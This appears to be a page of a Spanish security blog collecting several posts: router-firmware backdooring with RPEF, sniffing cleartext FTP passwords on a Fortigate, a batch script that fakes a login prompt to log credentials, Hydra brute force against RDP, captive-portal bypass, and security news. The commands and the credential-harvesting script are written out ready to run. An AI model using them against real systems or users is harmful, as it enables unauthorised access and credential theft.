USBdriveby, el collar USB que hackea cualquier ordenador

Estándar
  • USNdriveby es un dispositivo USB que contiene chips y software parahackear cualquier PC con OS X o Windows en menos de un minuto
  • Desactiva las protecciones y ofrece acceso remoto al hacker
  • No hay protección porque aprovecha agujeros en el diseño de la ROM de un USB, a través de BadUSB

USBdriveby, el collar USB que hackea cualquier ordenador. Continuar leyendo

RPEF: la herramienta para backdoorizar routers domésticos

Estándar

Seguro que todavía resuenan en vuestros oídos noticias sobre la presencia de backdoors en muchos modelos de routers. D-Link, Netis, Netgear, Linksys, Belkin, TRENDnet, MediaLink, Sercomm … la lista es muy larga.

Si tu también quieres hacerte el «chino» y vender en eBay tu viejo router con un regalo sorpresa añadido (es broma, no seais malos), puedes usar RPEF…

En la Defcon 20, Michael Coppola presentó una herramienta en Python llamada RPEF (Router Post-Exploitation Framework) con la que automatiza el proceso para añadir un backdoor en un buen número de firmwares para distintos modelos de routers SOHO:

– Belkin: F5D7230-4_v1xxx
– D-Link: DIR-601_1.01NA y DIR-601_2.01NA
– Linksys: WRT120N_1.0.07_(Build_02)
– NETGEAR: WGR614v10_1.0.2.26NA, WGR614v9_1.2.30NA, WNDR3700v1_1.0.16.98NA, WNDR3700v2_1.0.0.12 y WNR1000v3_1.0.2.26NA
– TRENDnet: TEW-651BR_v2.2R_2.00B12 y  TEW-652BRP_v3.2R_3.00B13

La sintaxis básica del script (python 2.6) es: 

./rpef.py <firmware image> <output file> <payload>
 
Una vez que el firmware malicioso está actualizado/instalado y funcionando en el router, el atacante tendrá a su disposición un sniffer de red desde la línea de comandos o un bot que se puede conectar a un canal IRC especificado para lanzar una herramienta DDoS… interesante ¿verdad?

Página del proyecto: https://github.com/mncoppola/rpef

Capturando credenciales en claro mediante un firewall Fortigate

Estándar

En este mundillo estamos cansados de repetir que se sustituya FTP y telnet por sus respectivos equivalente seguros: SCP, FTPS, SFTP, SSH… pero después de tantos años se siguen utilizando 😦

Hoy vamos a hacer una pequeña demostración de la inseguridad del uso de estos protocolos no cifrados capturando tráfico mediante un firewall y obteniendo las contraseñas en claro.

En la vida real el firewall podría ser la máquina de un atacante, el cuál tendría la misma facilidad para robar credenciales simplemente esnifando el tráfico en un nodo que está en medio del camino de nuestra conexión cliente-servidor. Y no sólo el atacante podría ser una persona hábil que ha envenenado ARP y ha conseguido hacer un MiTM… en este gran entramado que es Internet, un ISP o hasta el administrador de red de una empresa podría estar vigilando…

Para nuestro escenario concreto el firewall será un Fortigate. Estos cacharros tienen una gran variedad de comandos de diagnóstico. Permiten depurar aplicaciones comunes (ike, sslvpn, urlfilter…), el proceso de flujo de paquetes e incluso activar un sniffer bastante decente que arroja una salida muy similar a la de tcpdump (será un fork?). La sintaxis del comando es la siguiente:

# diag sniffer packet <interfaz> <‘filtro’> <verbose> <contador> a

Veamos primero un ejemplo sencillo:

# diag sniffer packet internal 'src host 192.168.0.130 and dst host 192.168.0.1' 1

192.168.0.130.3426 -> 192.168.0.1.80: syn 1325244087
192.168.0.1.80 -> 192.168.0.130.3426: syn 3483111189 ack 1325244088
192.168.0.130.3426 -> 192.168.0.1.80: ack 3483111190
192.168.0.130.3426 -> 192.168.0.1.80: psh 1325244088 ack 3483111190
192.168.0.1.80 -> 192.168.0.130.3426: ack 1325244686
192.168.0.130.1035 -> 192.168.0.1.53: udp 26
192.168.0.130.1035 -> 192.168.0.1.53: udp 42
192.168.0.130.1035 -> 192.168.0.1.53: udp 42
192.168.0.130 -> 192.168.0.1: icmp: echo request
192.168.0.130.3426 -> 192.168.0.1.80: psh 1325244686 ack 3483111190
192.168.0.1.80 -> 192.168.0.130.3426: ack 1325244735
192.168.0.130 -> 192.168.0.1: icmp: echo request


Y las opciones que manejamos:

– Interfaz, como su nombre indica, es el interfaz por el que se capturarán los paquetes. Podemos especificar «any» para que capture en todos los interfaces.

– El filtro puede tener también la siguiente sintaxis: ‘[[src|dst] host] [[src|dst] host] [[arp|ip|gre|esp|udp|tcp] [port_no]] [[arp|ip|gre|esp|udp|tcp] [port_no]]’

– Verbose tiene diferentes niveles:
1: muestra la cabecera de los paquetes
2: muestra la cabecera y los datos IP de los paquetes
3: muestra la cabecera y los datos ethernet de los paquetes
4: muestra la cabecera de los paquetes con el nombre de interfaz
5: muestra la cabecera y los datos IP de los paquetes con el nombre de interfaz
6: muestra la cabecera y los datos ethernet de los paquetes con el nombre de interfaz

– El contador indica el número de paquetes que se recogerán antes de parar el sniffer. Si no especificamos nada seguirá recogiendo paquetes hasta que lo paremos con CTRL+C.

– Y por último la opción «A» es para mostrar timestamps

Ahora imaginemos que queremos capturar las credenciales de un acceso FTP. Podríamos capturar las de todas las sesiones en un momento dado filtrando simplemente el puerto TCP; pero para el ejemplo supongamos que queremos capturar sólo las credenciales de un acceso a un servidor FTP específico, ftp.rediris.org con IP 130.206.1.5.

Primero, en Putty, no olvidemos capturar la salida de la sesión a un fichero de log:

Después iniciaremos el sniffer:

# diag sniffer packet any 'dst host 130.206.1.5' 6
interfaces=[any]
filters=[dst host 130.206.1.5]

Y desde un cliente ftp estándar lanzaremos la conexión:


C:\Users\vmotos\Desktop>ftp ftp.rediris.org
Conectado a zeppo.rediris.es.
220-  Bienvenido al FTP an├│nimo de RedIRIS.
220-Welcome to the RedIRIS anonymous FTP server.
220 Only anonymous FTP is allowed here
Usuario (zeppo.rediris.es:(none)): vicente
331-            RedIRIS - Red Acad├®mica y de Investigaci├│n Espa├▒ola
331-                RedIRIS - Spanish National Research Network
331-
331-           ftp://ftp.rediris.es  -=-  http://ftp.rediris.es
331-
331 Any password will work
Contraseña:
230 Any password will work

Ahora comprobareis rápidamente que el sniffer está capturando datos. Si os fijáis en el fichero de log generado aparecerá la contraseña en claro:


7.816069 123.123.123.11.19043 -> 130.206.1.5.21: psh 840580428 ack 3720924021
0x0000   0000 0000 0000 0009 0fd3 bac5 0800 4500        ..............E.
0x0010   0035 1d7b 4000 7c06 5d89 c2e0 3d0b 82ce        .5.{@.|.]...=...
0x0020   0105 4a63 0015 321a 3d4c ddc8 cb75 5018        ..Jc..2.=L...uP.
0x0030   07a1 ba58 0000 5041 5353 2070 7275 6562        ...X..PASS.prueb
0x0040   610d 0a      

Aunque si lo preferís, existe un script en perl fgt2eth.pl para exportar el fichero a formato pcap y analizarlo más claramente con Wireshark.

Primero quitamos la cabecera que nos deja putty:

=~=~=~=~=~=~=~=~=~=~=~= PuTTY log 2014.12.04 01:35:03 =~=~=~=~=~=~=~=~=~=~=~=

Y luego lo exportamos con esta utilidad:

C:\Users\vmotos\Desktop>fgt2eth.exe
Version : 1.22 (Feb 21 2008)

Assuming OS: windows
Usage : fgt2eth.pl -in <input_file_name>

Mandatory argument are :
   -in  <input_file>     Specify the file to convert (FGT verbose 3 text file)

Optional arguments are :
   -help                 Display help only
   -version              Display script version and date
   -out <output_file>    Specify the output file (Ethereal readable)
                         By default '<input_file>.eth' is used
   -lines <lines>        Only convert the first <lines> lines
   -system <system>      Can be either linux or windows
   -debug                Turns on debug mode
      
C:\Users\vmotos\Desktop>fgt2eth.exe -i putty.log -o putty.pcap
Conversion of file putty.log phase 1 (FGT verbose 3 conversion)
Output written to putty.pcap.
Conversion of file putty.log phase 2 (windows text2pcap)
Ouput file to load in Ethereal is 'putty.pcap'

Y por último lo abrimos con Wireshark. Si queréis afinar más la búsqueda podéis usar el filtro:

(ftp.response.code == 230 || ftp.request.command == «PASS») || (ftp.request.command == «USER»)

¡Feliz caza!

Super-cutre script para hacerse un keylogger en batch

Estándar

Algo cutre pero muy apañao… y seguro que más de uno se dará un gustazo con el batch… Xd

Se trata de un script para hacerse un keylogger *muy* básico. Simplemente crea el directorio c:\Logs y luego lanza el fichero Logger.bat con el siguiente código:

@echo off
color a
title Login
cls
echo Introduce usuario y password para poder ejecutar el programa:
echo.
echo.
cd "C:\Logs"
set /p user=Username:
set /p pass=Password:
echo Username="%user%" Password="%pass%" >> Log.txt
start calc.exe
exit

Enjoy!

Fuente: http://www.latesthackingnews.com/2014/04/09/how-to-create-a-keylogger-in-notepad/

Llega el hardware diseñado para manipular y tomar el control de cualquier coche inteligente

Estándar

Los coches modernos están entrando de lleno en la era de la Internet de las Cosas (IoT).
¿Quieres desbloquear el coche con su smartphone a través de Internet o cambiar los comandos de los botones del volante? Necesitas un poco de hardware como Carduinopara hablar con el coche…

Carduino es un dispositivo de código abierto desarrollado por el fundador de CarKnow, Josh Siegel, en los laboratorios del MIT. El proyecto nació como una simple idea para permitir a los desarrolladores crear aplicaciones que funcionan con comandos CAN (Controller Area Network). El resultado es un dispositivo que permite al propietario trabajar y cambiar las características del coche.

El dispositivo, de tamaño de una tarjeta de crédito, se conecta a un puerto de diagnóstico del automóvil y permite conectar una amplia gama de herramientas. En principio y según Siegel está diseñado para funcionar sólo para una lista blanca de comandos pero en las manos adecuadas, cualquiera puede ser un hacker de su propio coche, añadiendo, por ejemplo, asistente de aparcamiento, una cámara de vídeo o enchufar el coche en internet.

Por el momento Carduino no estará disponible hasta el próximo año pero hasta entonces existe otra alternativa basada en componentes que se pueden adquirir en cualquier casa de electrónica o tienda especializada: CAN Hacking tool.

CAN Hacking tool, de los investigadores españoles Javier Vazquez-Vidal y Alberto García Illera, fue presentado en la última BlackHat asiática  y fue puesto a prueba en cuatro vehículos diferentes (cuyos modelos no fueron revelados por razones lógicas), y entre los comandos compatibles aparecen órdenes básicas al estilo de subir y bajar los vidrios, disparar alarmas y apagar las luces, pero también hay otras más peligrosas, como activar el ABS o el freno de emergencia…

Distribuyen malware por medio de cigarrillos electrónicos

Estándar

Sí, habéis oído bien, al parecer los cigarrillos electrónicos se han convertido en el último vector de propagación de software malicioso.

A pesar de que la idea podría parecer hilarante, muchos cigarrillos electrónicos se pueden cargar a través de USB, mediante un cable especial o mediante la inserción de un extremo del cigarrillo directamente a un puerto USB.

Una entrada publicada en Reddit informó de un extraño caso que ocurrió a un ejecutivo en el que se descubrió un malware en su sistema sin identificar de inmediato su origen.

«Un ejecutivo tenía una infección de malware en su ordenador desde el que no se pudo determinar el origen«, dijo el usuario de Reddit «Después de que se comprobaran todos los medios tradicionales de infección, se comenzó a buscar otras posibilidades«.

En la investigación sobre el caso se descubrió que el ejecutivo había dejado de fumar hace dos semanas y que se pasó a unos cigarrillos electrónicos hechos en China que compró en eBay a un precio unitario de tan sólo 5 dólares. Tras analizarlos pudieron determinar que venían con un malware hardcoded en el cargador y, una vez que la víctima lo conecta al ordenador, el código malicioso se comunica con el servidor C&C y descarga otro software malicioso para infectar el sistema.

«El e-cigarrillo hecho en China tiene malware hardcoded en el cargador, y cuando se conecta al puerto USB de una computadora el malware llama a casa e infecta el sistema

De momento no hay demasiados detalles pero se considera que el caso podría ser un ataque plausible.

Grave RCE en SChannel de Windows aka #WinShock

Estándar

Hace unos días en Pastebin avisaban de que, si el viernes 14 de noviembre Micro$oft no categorizaba la vulnerabilidad MS14-066 / CVE-2014-6321 como un 0-day, se iba a publicar el exploit del llamado #WinShock o «SChannel Shenanigans», una vulnerabilidad grave que:

– puede explotarse antes de cualquier autenticación, en métodos que se llaman al principio por muchas, muchas aplicaciones, bibliotecas y servicios.
– siempre acaba con los privilegios de SYSTEM, de forma local o remota. Un exploit para «Modo Dios» con 100% de éxito.
– puede utilizarse de varias maneras y el código defectuoso está muy expuesto. Todo, incluyendo Windows 2000 en adelante es vulnerable.
– el código heredado se ejecuta siempre. Esto significa que las protecciones modernas como EMET no funcionan.

Concretamente el problema vuelve estar en la implementación de SSL y TLS, esta vez por Microsoft que lo hace mediante Secure Channel, también conocido como Schannel, que permite la ejecución remota de código al procesar paquetes especialmente modificados.
Finalmente la vulnerabilidad fue clasificada con una criticidad de 10.0 en la escala CVSS (CVE-2014-6321) y Microsoft tuvo que publicar un workaround y una actualización crítica para solucionarlo pero, ¿parchearán todos los sistemas Windows antes de ser atacados?… es una pregunta retórica… *muac* *muac* ^_^

Go, go, empieza la carrera… podéis encontrar un gran detalle técnico en la entrada delblog BeyondTrust y, como dice el autor, «se deja como ejercicio para el lector un análisis más detallado y la explotación» 😉

pd. Impacientes, ya tenéis una PoC de Immunity Inc para Canvas

Informe: Recomendaciones (Parte I)

Estándar

En una auditoria tenemos que tener claro que todo es importante, desde la recolección de información como el desarrollo técnico, como por supuesto la presentación de resultados a través de la generación de los informes. Quizá esto último es lo que más «pereza» pueda dar a la mayoría de auditores, pero hay que tener en cuenta que por muy bueno que sea el trabajo, si no podemos explicarlo o comunicarlo tendremos un problema.

En esta cadena de artículos se pretende mostrar las recomendaciones que los auditores, generalmente, tendrán que tener en cuenta en las auditorias que lleven a cabo. Por ejemplo, para este primer artículo hablaremos de medidas correctoras en auditoria perimetral. En función de la auditoría que se esté llevando a cabo, las recomendaciones siempre cambiarán, aunque algunas de ellas se pueden extrapolar a otros ámbitos, por lo que se pueden enunciar en ambas auditorías.

Las primeras contramedidas o recomendaciones que el auditor debe contar en el informe son las soluciones a las vulnerabilidades que se han podido encontrar en la propia auditoría perimetral. Las podemos clasificar como se muestran a continuación:

  • Acceso
  • Autenticación
  • Sesiones
  • Criptografía
  • Datos sensibles
  • Comunicación y protocolos
  • Entradas, codificación y errores

Por supuesto, podemos utilizar algunas guías, como por ejemplo la de OWASP que nos proporcionan una serie de buenas prácticas. Se recomienda su lectura. La guía se puede encontrar en la siguiente dirección URLhttps://www.owasp.org/index.php/ESAPI_Secure_Coding_Guideline.

Acceso

Los servicios perimetrales disponen de una capa de acceso la cual debería cumplir con unas premisas en cuanto a seguridad se refiere.Los usuarios que acceden a los recursos o datos de las aplicaciones o servicios deben poseer una autorización de acceso, la cual se regirá por la característica de mínimo privilegio posible en todo instante.

En definitiva cualquier entidad que ejecute código en una máquina o servidor deberá ejecutar siempre con el mínimo privilegio posible y controlar los parámetros de entrada. La captura y gestión de excepciones debe estar implementada siempre y de manera segura, por ejemplo no mostrando información de debug hacia el exterior.

La capa de acceso se implementará de manera centralizada para proteger el acceso a cada tipo de recurso. Tener distribuida la capa de acceso puede desembocar en la generación de fallos de configuración o de aplicación de permisos debido a la propagación o replicación que hay que llevar de éstos.

Autenticación

La identificación y autenticación de usuarios es un proceso crítico que debe disponer de unas medidas de seguridad, las cuales deben ser conocidas por los auditores para poder presentar contramedidas en la corrección o implementación de aplicativos web.

Siempre hay que tener en cuenta que el acceso a datos de carácter personal se realiza con una sesión de usuario identificado y autenticado. Cuando una aplicación realiza un cambio de credenciales, éste se deberá llevar a cabo de forma segura, al igual que la gestión de errores.

Se debe utilizar una función hash para almacenar las contraseñas en un fichero o en una base de datos. Es casi imprescindible utilizar un algoritmo de la familia SHA, y ya no utilizar MD5.

Los ataques de fuerza bruta a la autenticación es una de las acciones más comunes. Se debe implementar un mecanismo, como el captcha, con el que superando un número de intentos de accesos consecutivos, se pida al usuario una serie de símbolos a introducir con el fin de comprobar que no es un proceso automatizado quién está realizando la autenticación.

Los token deben generarse para cada petición del usuario en términos de autenticación. Por último, una contramedida que se suele utilizar en el sector de la banca es la utilización de una reautenticación de usuario, o un segundo factor de autenticación para realizar una acción sensible.

Ataques de fuerza bruta a RDP con Hydra

Estándar
Buenas a todos, en el post de hoy vamos a ver como realizar ataques de fuerza bruta a RDP, para intentar autenticarnos remotamente en un sistema Windows sin necesidad de conocer la contraseña del usuario.
Ya os hemos hablado durante numerosos posts de como localizar archivos RDP en Internet, mediante Google Hacking y Shodan, con verbos y búsquedas como «ext:rdp», por lo que hoy simplemente nos centraremos en identificar si está RDP activo y en el ataque en sí.
Para verificar si tenemos el servicio RDP operativo en el servidor en el que realizaremos la auditoría utilizaremos la herramienta NMAP, y comprobaremos que el puerto 3389 está abierto:

nmap –open –p 3389 IP

El siguiente paso será lanzar el ataque de fuerza bruta con el diccionario “rockyou.txt” que viene incluido en Kali.
El diccionario por defecto se encuentra comprimido en GZ en la siguiente ruta «/usr/share/wordlist/rockyou.txt.gz».
Para descomprimirlo podéis utilizar la siguiente instrucción:

gzip –d /usr/share/wordlist/rockyou.txt.gz

Finalmente, lanzaremos el ataque, y en función de la resistencia de la contraseña, lograremos obtener la misma para acceder al equipo de manera remota:

hydra –t 4 –V –l administrator –P /root/Desktop/Password/rockyou.txt rdp://IP

Sencillo ¿verdad? En este caso la mayor dificultad estará en la fortaleza de la contraseña y en los posibles sistemas de seguridad como IPS y Firewall, que nos puedan cortar la conexión.

Saltando los hotspots con un solo click

Estándar

Hoy en día es muy habitual encontrarse pay-walls o portales cautivos en hotspots públicos, especialmente en sitios como hoteles y aeropuertos.

En esta entrada se mostrará como los WISP implementan estos pay-walls, y cuales suelen ser generalmente sus debilidades.

Si viajamos con un smartphone o tablet Android es muy fácil saltarse el portal cautivo desde el mismo dispositivo Android, sin necesidad de hacer túneles a través de DNS o ICMP. Presentaremos una herramienta que nos permite automatizar el proceso para saltarnos el pay-wall en «1 click».

En la pasada Rooted CON 2014 Pau Oliva presento un script para linux y su fork para Android para automatizar el IP/MAC spoofing de los clientes conectados legítimamente ….y por consiguiente darnos acceso a Internet.

Tenéis el código del script de Pau en su repositorio https://github.com/poliva/random-scripts/blob/master/wifi/hotspot-bypass.sh

Como he dicho antes también existe su fork para Android (dispositivos rooteados) para los chipset de broadcom y wacom https://play.google.com/store/apps/details?id=org.eslack.hotspotbypass&hl=es

Podéis ver la charla completa en: